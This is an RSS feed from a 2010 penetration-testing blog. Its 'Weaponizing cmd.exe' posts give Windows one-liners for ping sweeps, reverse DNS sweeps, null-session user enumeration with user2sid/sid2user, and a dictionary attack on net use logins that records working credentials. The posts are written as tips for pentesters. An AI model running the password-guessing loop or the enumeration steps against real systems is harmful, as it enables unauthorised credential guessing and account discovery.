<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Security Reliks</title>
	<atom:link href="http://securityreliks.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://securityreliks.wordpress.com</link>
	<description>Tips, Tools, and Research for Penetration Testers and Incident Handlers</description>
	<lastBuildDate>Thu, 07 Apr 2011 00:21:22 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='securityreliks.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Security Reliks</title>
		<link>http://securityreliks.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://securityreliks.wordpress.com/osd.xml" title="Security Reliks" />
	<atom:link rel='hub' href='http://securityreliks.wordpress.com/?pushpress=hub'/>
		<item>
		<title>We Moved to SecureGossip!</title>
		<link>http://securityreliks.wordpress.com/2010/09/02/we-moved-to-securegossip/</link>
		<comments>http://securityreliks.wordpress.com/2010/09/02/we-moved-to-securegossip/#comments</comments>
		<pubDate>Thu, 02 Sep 2010 20:21:45 +0000</pubDate>
		<dc:creator>Skyler</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://securityreliks.wordpress.com/?p=269</guid>
		<description><![CDATA[Security Reliks has become part of the SecureGossip initiative! We will no longer be double posting. However, I will post an RSS when we get that implemented. All of our posts will now be made over there, as well as an archive of older posts! We Moved Here! &#160;<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityreliks.wordpress.com&amp;blog=14527383&amp;post=269&amp;subd=securityreliks&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div>
<p>Security Reliks has become part of the SecureGossip initiative! We will no longer be double posting. However, I will post an RSS when we get that implemented.</p>
<p>All of our posts will now be made over there, as well as an archive of older posts!</p>
<h2>We Moved <a href="http://securityreliks.securegossip.com/" target="_self"><span style="color:#ff0000;">Here</span></a>!</h2>
<p>&nbsp;</p>
</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityreliks.wordpress.com/269/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityreliks.wordpress.com/269/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityreliks.wordpress.com/269/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityreliks.wordpress.com/269/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityreliks.wordpress.com/269/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityreliks.wordpress.com/269/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityreliks.wordpress.com/269/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityreliks.wordpress.com/269/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityreliks.wordpress.com/269/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityreliks.wordpress.com/269/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityreliks.wordpress.com/269/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityreliks.wordpress.com/269/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityreliks.wordpress.com/269/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityreliks.wordpress.com/269/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityreliks.wordpress.com&amp;blog=14527383&amp;post=269&amp;subd=securityreliks&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityreliks.wordpress.com/2010/09/02/we-moved-to-securegossip/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1b6567a9f901eeff144a98623ef7f56d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">skylero</media:title>
		</media:content>
	</item>
		<item>
		<title>Weaponizing cmd.exe &#8211; Port Scanning</title>
		<link>http://securityreliks.wordpress.com/2010/08/30/weaponizing-cmd-exe-port-scanning/</link>
		<comments>http://securityreliks.wordpress.com/2010/08/30/weaponizing-cmd-exe-port-scanning/#comments</comments>
		<pubDate>Mon, 30 Aug 2010 21:07:04 +0000</pubDate>
		<dc:creator>Skyler</dc:creator>
				<category><![CDATA[Fu (a.k.a Tips)]]></category>

		<guid isPermaLink="false">http://securityreliks.wordpress.com/?p=267</guid>
		<description><![CDATA[I have posted a cmd.exe entry for how to conduct port scans via cmd.exe read it here on the new blog!<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityreliks.wordpress.com&amp;blog=14527383&amp;post=267&amp;subd=securityreliks&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I have posted a cmd.exe entry for how to conduct port scans via cmd.exe</p>
<p>read it here on <a href="http://securityreliks.securegossip.com/" target="_blank">the new blog</a>!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityreliks.wordpress.com/267/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityreliks.wordpress.com/267/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityreliks.wordpress.com/267/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityreliks.wordpress.com/267/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityreliks.wordpress.com/267/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityreliks.wordpress.com/267/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityreliks.wordpress.com/267/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityreliks.wordpress.com/267/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityreliks.wordpress.com/267/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityreliks.wordpress.com/267/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityreliks.wordpress.com/267/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityreliks.wordpress.com/267/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityreliks.wordpress.com/267/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityreliks.wordpress.com/267/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityreliks.wordpress.com&amp;blog=14527383&amp;post=267&amp;subd=securityreliks&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityreliks.wordpress.com/2010/08/30/weaponizing-cmd-exe-port-scanning/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1b6567a9f901eeff144a98623ef7f56d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">skylero</media:title>
		</media:content>
	</item>
		<item>
		<title>Weaponizing cmd.exe &#8211; UN/PW Guessing</title>
		<link>http://securityreliks.wordpress.com/2010/08/27/weaponizing-cmd-exe-unpw-guessing/</link>
		<comments>http://securityreliks.wordpress.com/2010/08/27/weaponizing-cmd-exe-unpw-guessing/#comments</comments>
		<pubDate>Fri, 27 Aug 2010 19:17:54 +0000</pubDate>
		<dc:creator>Skyler</dc:creator>
				<category><![CDATA[Fu (a.k.a Tips)]]></category>

		<guid isPermaLink="false">http://securityreliks.wordpress.com/?p=220</guid>
		<description><![CDATA[This is a fantastic way to automate a dictionary attack on windows net accounts. This is part of my salute to Pentesting Ninjitsu. See the full version on the new blog! UN/PW Guessing for /f %i in (knownUsers.txt) do @(for /f %j in (passwordList.txt) do @echo %i:%j &#38; @net use \\&#60;ip&#62; %j /u:%i 2&#62; nul [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityreliks.wordpress.com&amp;blog=14527383&amp;post=220&amp;subd=securityreliks&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This is a fantastic way to automate a dictionary attack on windows net accounts. This is part of my salute to Pentesting Ninjitsu.</p>
<p>See the full version on the <a href="http://securityreliks.securegossip.com/">new blog!</a></p>
<p><span id="more-220"></span></p>
<p><strong>UN/PW Guessing</strong></p>
<blockquote>
<pre>for /f %i in (knownUsers.txt) do @(for /f %j in (passwordList.txt) do @echo %i:%j &amp; @net use \\&lt;ip&gt; %j /u:%i 2&gt; nul &amp;&amp; echo %i:%j &gt;&gt; success.txt &amp;&amp; net use \\&lt;ip /del)</pre>
</blockquote>
<div><strong>how it works</strong></div>
<div>This looks messy, but this is how it works:</div>
<div id="_mcePaste">
<ul>
<li>Create a for look that iterates over items (note, not a /L) in users.txt list of users</li>
</ul>
</div>
<blockquote>
<pre>for /f %i in (knownUsers.txt)</pre>
</blockquote>
<div id="_mcePaste">
<ul>
<li>for each user in the list, do another for loop that iterates through a list of passwords in pass.txt</li>
</ul>
</div>
<blockquote>
<pre>do @(for /f %j in (passwordList.txt)</pre>
</blockquote>
<div id="_mcePaste">
<ul>
<li>print out the username:password combonation being tested</li>
</ul>
</div>
<blockquote>
<pre>do @echo %i:%j</pre>
</blockquote>
<div id="_mcePaste">
<ul>
<li>for each of those passwords, try to establish a session using the currently selected password, for the currently selected user</li>
</ul>
</div>
<blockquote>
<pre>&amp; @net use \\&lt;ip&gt; %j /u:%i</pre>
</blockquote>
<div id="_mcePaste">
<ul>
<li>All errors (failed logins) are discarded</li>
</ul>
</div>
<blockquote>
<pre>2&gt; nul</pre>
</blockquote>
<div id="_mcePaste">
<ul>
<li>If and ONLY if the command succeeds, append the username:password combo to successfulLogins.txt</li>
</ul>
</div>
<blockquote>
<pre>&amp;&amp; echo %i:%j &gt;&gt; successfulLogins.txt</pre>
</blockquote>
<div id="_mcePaste">
<ul>
<li>Again, if that login was succesful, we now need to destroy that session to be able to keep testing</li>
</ul>
</div>
<blockquote>
<pre>&amp;&amp; net use \\&lt;ip /del)</pre>
</blockquote>
<p>This is a fantastic tool. Have fun!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityreliks.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityreliks.wordpress.com/220/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityreliks.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityreliks.wordpress.com/220/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityreliks.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityreliks.wordpress.com/220/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityreliks.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityreliks.wordpress.com/220/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityreliks.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityreliks.wordpress.com/220/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityreliks.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityreliks.wordpress.com/220/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityreliks.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityreliks.wordpress.com/220/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityreliks.wordpress.com&amp;blog=14527383&amp;post=220&amp;subd=securityreliks&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityreliks.wordpress.com/2010/08/27/weaponizing-cmd-exe-unpw-guessing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1b6567a9f901eeff144a98623ef7f56d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">skylero</media:title>
		</media:content>
	</item>
		<item>
		<title>Weaponizing cmd.exe &#8211; Enumerate users (inspite of RestrictAnonymous)</title>
		<link>http://securityreliks.wordpress.com/2010/08/26/weaponizing-cmd-exe-enumerate-users-inspite-of-restrictanonymous/</link>
		<comments>http://securityreliks.wordpress.com/2010/08/26/weaponizing-cmd-exe-enumerate-users-inspite-of-restrictanonymous/#comments</comments>
		<pubDate>Thu, 26 Aug 2010 12:02:38 +0000</pubDate>
		<dc:creator>Skyler</dc:creator>
				<category><![CDATA[Fu (a.k.a Tips)]]></category>

		<guid isPermaLink="false">http://securityreliks.wordpress.com/?p=260</guid>
		<description><![CDATA[Okay. Continuing on with the series. Now that we have  mapped the network, we need to enumerate users on the active hosts. Often times you will be preforming a Penetration Test on a windows machine. In the event that the machine has RestrictAnonymous set, you may find it difficult to enumerate users using your null [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityreliks.wordpress.com&amp;blog=14527383&amp;post=260&amp;subd=securityreliks&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Okay. Continuing on with the series. Now that we have  mapped the network, we need to enumerate users on the active hosts. Often times you will be preforming a Penetration Test on a windows machine. In the event that the machine has RestrictAnonymous set, you may find it difficult to enumerate users using your null session. It is important to note that this does not make it impossible! tools like <a href="http://home.ubalt.edu/abento/753/enumeration/enumerationtools.html">enum </a>rely upon the null session enumeration option,  therefore RestrictAnonymous = 2 ruins the use of that tool (and others like it). I am going to show you a method to brute force usernames in a different manner. For this you will need two tools, sid2user, and user2sid. You can get them<a href="http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=sid2user&amp;type=archives&amp;[search].x=0&amp;[search].y=0"> here</a>.</p>
<p>Read the rest of the post on<a href="http://securityreliks.securegossip.com"> the new blog!</a></p>
<p><span id="more-260"></span></p>
<h4><span style="text-decoration:underline;">Step 1: Establish a Null Session</span></h4>
<blockquote>
<pre>
<pre>C:\&gt; net use \\&lt;target_ip&gt; "" /u:""</pre>
</pre>
</blockquote>
<p>It is important to note that although RestrictAnonymous is set to 2, that does not prevent null sessions. It simply prevents the enumeration of users via null sessions.</p>
<h4><span style="text-decoration:underline;">Step 2: Determine Target Machine&#8217;s name</span></h4>
<p>There are many methods to get this. Here is one:</p>
<blockquote>
<pre>C:\&gt; nbtstat -a &lt;target_ip&gt;</pre>
</blockquote>
<h4><span style="text-decoration:underline;">Step 3: Aquire SID</span></h4>
<blockquote>
<pre>C:\&gt; user2sid \\&lt;target_ip&gt; &lt;machine_name&gt;</pre>
</blockquote>
<p>This will return to us the machines SID (Security Identifier). The SID is a unique number for each user/system. It follows the following format:</p>
<p>S-[Revision-Level]-[Authority Level]-[Domain-or-Computer-number]-[RID]</p>
<p>Example (brackets added for clarity): S-[1]-[5-21]-[165875785-1005667432-441284377]-[1023]</p>
<p>The RID is the number which represents the user ID. We use this to get their usernames.</p>
<h4><span style="text-decoration:underline;">Step 4: Aquire Admin account name</span></h4>
<p>500 is the admin account, which allows us to identify the true admin even if the account name has been renamed. With that being known, you can manually determine the admin using sid2user.</p>
<blockquote>
<pre>C:\&gt; sid2user \\&lt;target_ip&gt; &lt;SID_with_RID_set_to_500&gt;</pre>
</blockquote>
<p>For example, the SID with the RID set to 500 would look like:</p>
<blockquote>
<pre>S-1-5-21-165875785-1005667432-441284377-500</pre>
</blockquote>
<p><span style="text-decoration:underline;">Step 5: Aquire Other Users</span></p>
<blockquote>
<pre>C:\&gt; for /L %u in (1000,1,1015) do @sid2user \\&lt;target_ip&gt; &lt;SID_without_RID&gt; %u</pre>
</blockquote>
<p>This loop will brute force usernames by retrieving the usernames associated with RIDs 1000-1015. You can change this according to your needs.</p>
<p>There you go! now you can go on to password cracking, etc!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityreliks.wordpress.com/260/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityreliks.wordpress.com/260/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityreliks.wordpress.com/260/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityreliks.wordpress.com/260/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityreliks.wordpress.com/260/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityreliks.wordpress.com/260/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityreliks.wordpress.com/260/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityreliks.wordpress.com/260/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityreliks.wordpress.com/260/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityreliks.wordpress.com/260/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityreliks.wordpress.com/260/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityreliks.wordpress.com/260/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityreliks.wordpress.com/260/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityreliks.wordpress.com/260/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityreliks.wordpress.com&amp;blog=14527383&amp;post=260&amp;subd=securityreliks&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityreliks.wordpress.com/2010/08/26/weaponizing-cmd-exe-enumerate-users-inspite-of-restrictanonymous/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1b6567a9f901eeff144a98623ef7f56d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">skylero</media:title>
		</media:content>
	</item>
		<item>
		<title>Weaponizing cmd.exe &#8211; DNS Reverse Lookup</title>
		<link>http://securityreliks.wordpress.com/2010/08/25/weaponizing-cmd-exe-dns-reverse-lookup/</link>
		<comments>http://securityreliks.wordpress.com/2010/08/25/weaponizing-cmd-exe-dns-reverse-lookup/#comments</comments>
		<pubDate>Wed, 25 Aug 2010 15:33:18 +0000</pubDate>
		<dc:creator>Skyler</dc:creator>
				<category><![CDATA[Fu (a.k.a Tips)]]></category>

		<guid isPermaLink="false">http://securityreliks.wordpress.com/?p=217</guid>
		<description><![CDATA[Here is a nice way to perform a reverse lookup of all the hosts on your network. It uses the nslookup &#60;ip&#62; command to do it. Find the entire post on the new blog site! DNS Reverse Lookup for /L %i in (1,1,255) do @nslookup x.x.x.%i 2&#62; nul &#124; find "Name" &#38;&#38; @echo x.x.x.%i How [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityreliks.wordpress.com&amp;blog=14527383&amp;post=217&amp;subd=securityreliks&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Here is a nice way to perform a reverse lookup of all the hosts on your network. It uses the nslookup &lt;ip&gt; command to do it.</p>
<p>Find the entire post on the <a href="http://securityreliks.securegossip.com/" target="_blank">new blog site</a>!</p>
<p><span id="more-217"></span></p>
<p><strong>DNS Reverse Lookup</strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<p><strong> </strong></p>
<blockquote>
<pre><span style="font-weight:normal;">for /L %i in (1,1,255) do @nslookup x.x.x.%i 2&gt; nul | find "Name" &amp;&amp; @echo x.x.x.%i</span></pre>
</blockquote>
<div id="_mcePaste"><span style="font-weight:normal;">How it works</span></div>
<div id="_mcePaste">
<ul>
<li><span style="font-weight:normal;"><strong>
<div id="_mcePaste" style="display:inline!important;"><span style="font-weight:normal;">Do a for loop, using an integer that will be initialized to 1, and iterate by 1 until it equals 255</span></div>
<p></strong></p>
<p></span></li>
</ul>
</div>
<blockquote>
<pre><span style="font-weight:normal;">for /L %i in (1,1,255)</span></pre>
</blockquote>
<div id="_mcePaste">
<ul>
<li><span style="font-weight:normal;"><strong>
<div id="_mcePaste" style="display:inline!important;"><span style="font-weight:normal;">for each iteration do a dns reverse lookup for the next address on the subnet</span></div>
<p></strong></p>
<p></span></li>
</ul>
</div>
<blockquote>
<pre><span style="font-weight:normal;">do @nslookup x.x.x.%i</span></pre>
</blockquote>
<div id="_mcePaste">
<ul>
<li><span style="font-weight:normal;"><strong>
<div id="_mcePaste" style="display:inline!important;"><span style="font-weight:normal;">If I get an error, discard the results</span></div>
<p></strong></p>
<p></span></li>
</ul>
</div>
<blockquote>
<pre><span style="font-weight:normal;">2&gt; nul</span></pre>
</blockquote>
<div id="_mcePaste">
<ul>
<li><span style="font-weight:normal;"><strong>
<div id="_mcePaste" style="display:inline!important;"><span style="font-weight:normal;">With all other results, output the line containing &#8220;Name&#8221;</span></div>
<p></strong></p>
<p></span></li>
</ul>
</div>
<blockquote>
<pre><span style="font-weight:normal;">| find "Name"</span></pre>
</blockquote>
<div id="_mcePaste">
<ul>
<li><span style="font-weight:normal;"><strong>
<div id="_mcePaste" style="display:inline!important;"><span style="font-weight:normal;">If and only if the lookup returns without errors, print the ip of the machine</span></div>
<p></strong></p>
<p></span></li>
</ul>
</div>
<blockquote>
<pre><span style="font-weight:normal;">&amp;&amp; @echo x.x.x.%i</span></pre>
</blockquote>
<p><strong><span style="font-weight:normal;">Its pretty nice for enumeration. Have fun!</span></strong></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityreliks.wordpress.com/217/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityreliks.wordpress.com/217/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityreliks.wordpress.com/217/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityreliks.wordpress.com/217/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityreliks.wordpress.com/217/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityreliks.wordpress.com/217/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityreliks.wordpress.com/217/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityreliks.wordpress.com/217/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityreliks.wordpress.com/217/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityreliks.wordpress.com/217/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityreliks.wordpress.com/217/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityreliks.wordpress.com/217/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityreliks.wordpress.com/217/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityreliks.wordpress.com/217/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityreliks.wordpress.com&amp;blog=14527383&amp;post=217&amp;subd=securityreliks&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityreliks.wordpress.com/2010/08/25/weaponizing-cmd-exe-dns-reverse-lookup/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1b6567a9f901eeff144a98623ef7f56d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">skylero</media:title>
		</media:content>
	</item>
		<item>
		<title>Weaponizing cmd.exe &#8211; Ping Sweep</title>
		<link>http://securityreliks.wordpress.com/2010/08/24/weaponizing-cmd-exe-ping-sweep/</link>
		<comments>http://securityreliks.wordpress.com/2010/08/24/weaponizing-cmd-exe-ping-sweep/#comments</comments>
		<pubDate>Tue, 24 Aug 2010 14:15:45 +0000</pubDate>
		<dc:creator>Skyler</dc:creator>
				<category><![CDATA[Fu (a.k.a Tips)]]></category>

		<guid isPermaLink="false">http://securityreliks.wordpress.com/?p=211</guid>
		<description><![CDATA[This is part of my tribute to PenTesting Ninjitsu. Here is a nice quick way to perform a ping sweep from the windows command line. See the official post on the new blog! Ping Sweep for \L %i in (1,1,255) do @ping -n 1 x.x.x.%i &#124; find "Reply" how it works This command is built [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityreliks.wordpress.com&amp;blog=14527383&amp;post=211&amp;subd=securityreliks&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste">This is part of my tribute to PenTesting Ninjitsu. Here is a nice quick way to perform a ping sweep from the windows command line.</div>
<div id="_mcePaste"></div>
<div>See the official post on the <a href="http://securityreliks.securegossip.com/" target="_self">new blog!</a></div>
<div><span id="more-211"></span></div>
<div></div>
<div><strong>Ping Sweep</strong></div>
<blockquote>
<pre>for \L %i in (1,1,255) do @ping -n 1 x.x.x.%i | find "Reply"</pre>
</blockquote>
<p><strong>how it works</strong></p>
<div id="_mcePaste">This command is built in the following way:</div>
<div id="_mcePaste">
<ul>
<li>create a loop using a variable called %i</li>
</ul>
</div>
<blockquote>
<pre>for \L %i</pre>
</blockquote>
<div id="_mcePaste">
<ul>
<li>The loop should iterate %i by first initializing it by one, then iterating it by 1 until it hits 255</li>
</ul>
</div>
<blockquote>
<pre>%i in (1,1,255)</pre>
</blockquote>
<div id="_mcePaste">
<ul>
<li>The action performed will be to send 1 ping request to the ip address, where the last octet is equal to the value of %i (@ makes sure it doesnt echo the command back)</li>
</ul>
</div>
<blockquote>
<pre>do @ping -n 1 x.x.x.%i</pre>
</blockquote>
<div id="_mcePaste">
<ul>
<li>I only want to find the results that contain a reply message, indicating open an active host (Cast sensitive)</li>
</ul>
</div>
<blockquote>
<pre>| find "Reply"</pre>
</blockquote>
<p>The results will show you the lines of a ping command containing the IP of hosts on the subnet. I.E</p>
<pre>
<blockquote>

Reply from 192.168.1.2: bytes=32 time&lt;1ms TTL=128

Reply from 192.168.1.15: bytes=32 time&lt;1ms TTL=128

Reply from 192.168.1.117: bytes=32 time&lt;1ms TTL=128</blockquote>
</pre>
<p>Enjoy!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityreliks.wordpress.com/211/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityreliks.wordpress.com/211/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityreliks.wordpress.com/211/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityreliks.wordpress.com/211/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityreliks.wordpress.com/211/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityreliks.wordpress.com/211/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityreliks.wordpress.com/211/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityreliks.wordpress.com/211/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityreliks.wordpress.com/211/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityreliks.wordpress.com/211/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityreliks.wordpress.com/211/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityreliks.wordpress.com/211/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityreliks.wordpress.com/211/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityreliks.wordpress.com/211/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityreliks.wordpress.com&amp;blog=14527383&amp;post=211&amp;subd=securityreliks&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityreliks.wordpress.com/2010/08/24/weaponizing-cmd-exe-ping-sweep/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/1b6567a9f901eeff144a98623ef7f56d?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">skylero</media:title>
		</media:content>
	</item>
		<item>
		<title>We have moved to SecureGossip!!!</title>
		<link>http://securityreliks.wordpress.com/2010/08/23/we-have-moved-to-securegossip/</link>
		<comments>http://securityreliks.wordpress.com/2010/08/23/we-have-moved-to-securegossip/#comments</comments>
		<pubDate>Tue, 24 Aug 2010 04:48:15 +0000</pubDate>
		<dc:creator>Skyler</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://securityreliks.wordpress.com/?p=251</guid>
		<description><![CDATA[Security Reliks has become part of the SecureGossip initiative! All of our posts will now be made over there, as well as an archive of older posts! We Moved Here!<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityreliks.wordpress.com&amp;blog=14527383&amp;post=251&amp;subd=securityreliks&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
